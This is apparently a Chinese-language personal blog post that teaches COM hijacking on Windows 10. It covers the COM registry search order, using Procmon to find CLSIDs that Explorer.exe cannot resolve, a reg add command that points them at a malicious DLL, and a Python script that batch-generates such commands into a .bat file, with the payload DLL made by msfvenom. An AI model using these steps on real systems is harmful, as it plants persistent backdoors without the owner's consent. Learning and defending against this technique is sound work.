COM劫持学习

  • 内容
  • 相关

COM的由来#
COM是开发软件组件的一种方法。组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以在运行时刻,在不被重新链接或编译应用程序的情况下被卸下或替换掉。Microsoft的许多技术,如ActiveX, DirectX以及OLE等都是基于COM而建立起来的。并且Microsoft的开发人员也大量使用COM组件来定制他们的应用程序及操作系统。

1.jpg

参考链接:https://baike.baidu.com/item/COM%E7%BB%84%E4%BB%B6/3351509?fr=aladdin

COM劫持的说法#


缺少的COM

COM对象是注册表中对磁盘上没有实现文件的对象的引用。例如,在注册表项HKCU \ CLSID \ {xxxx} \ InprocServer32 \ Default下,其中{xxxx}是COM对象的相应GUID,您应该找到对文件yyy.dll的引用。如果磁盘上不存在此文件或缺少“(默认)”条目,则请求访问此对象的进程将失败。

劫持后的表现

当劫持了COM组件之后,当某进程调用了这个组件。那么就会触发攻击者所设置的后门

2.png

COM搜索顺序劫持

机器范围的COM对象在以下位置注册:

HKEY_LOCAL_MACHINE \ Software \ Classes下


每用户COM对象在以下位置注册:

HKEY_CURRENT_USER \ Software \ Classes下


用户特定的COM对象可以由中等完整性级别的任何进程注册,并且仅对安装它们的用户可见。但是,它们优先于COM子系统中的机器范围对象。COM对象劫持是一种技术,其中恶意软件可以用在其位置加载的恶意用户特定对象替换良性系统范围的COM对象

劫持的分类

1.你拥有一定的权限下直接修改掉能成功加载的CLSID下的InprocServer32的DLL

创建一个恶意的DLL加载正常的DLL后在执行恶意操作


2.寻找缺少的InprocServer32,手动添加

手动添加后,原本找不到CLSID的进程也会找到,从而加载恶意DLL


环境#


os:windows 10 1903

工具:Procmon

寻找缺失的CLSID#


这里我针对Explorer.exe寻找缺少的CLSID,对Explorer进行过滤配置

3.png

寻找到缺少的CLSID

4.png

你可以针对这里的当个路径进行测试或者批量测,由于某些不可抗拒的原因我选择的了批量测。批量测试的话将过滤得到的路径保存为CSV

测试的方法:

使用reg添加缺少CLSID路径,设置你要执行的恶意DLL路径

reg add [PATH] /ve /t REG_SZ /d C:\Users\Public\demo.dll /f


5.png

然后对CSV进行解析,生成一个bat

#@author:T0ex4
#@file:com_hajacking.py

import csv

class Jiexi(object):
    def __init__(self):
        self.path='demo.CSV'

    def rk(self):
        with open(self.path,'r',encoding='utf-8') as r:
            g=csv.DictReader(r)
            for name in g:
                z=[x for x in name]
                for i in z:
                    if 'HK' in str(name[i]):
                        print('reg add {} /ve /t REG_SZ /d C:\\Users\\Public\\demo.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))

if __name__ == '__main__':
    obj=Jiexi()
    obj.rk()
    print('[!] Administrator run com_hijack.bat,Thanks')

得到一个bat

6.png

这里的dll我用msfvenom生成的,这里注意选对位数。上面说的不可抗拒原因是因为我单个测试的时候生成错了位数导致我以为不行,后面生成了x64进行批量。COM劫持的过多把Windows 10弄死了

劫持成功如图:

7.png

参考链接#


https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/

https://github.com/nccgroup/acCOMplice/blob/master/COM_Hijacking_Techniques_Derbycon2019.pptx

本文标签:

版权声明:若无特殊注明,本文皆为《T0ex4》原创,转载请保留文章出处。

本文链接:COM劫持学习 - https://www.k1q.cn/post-28.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注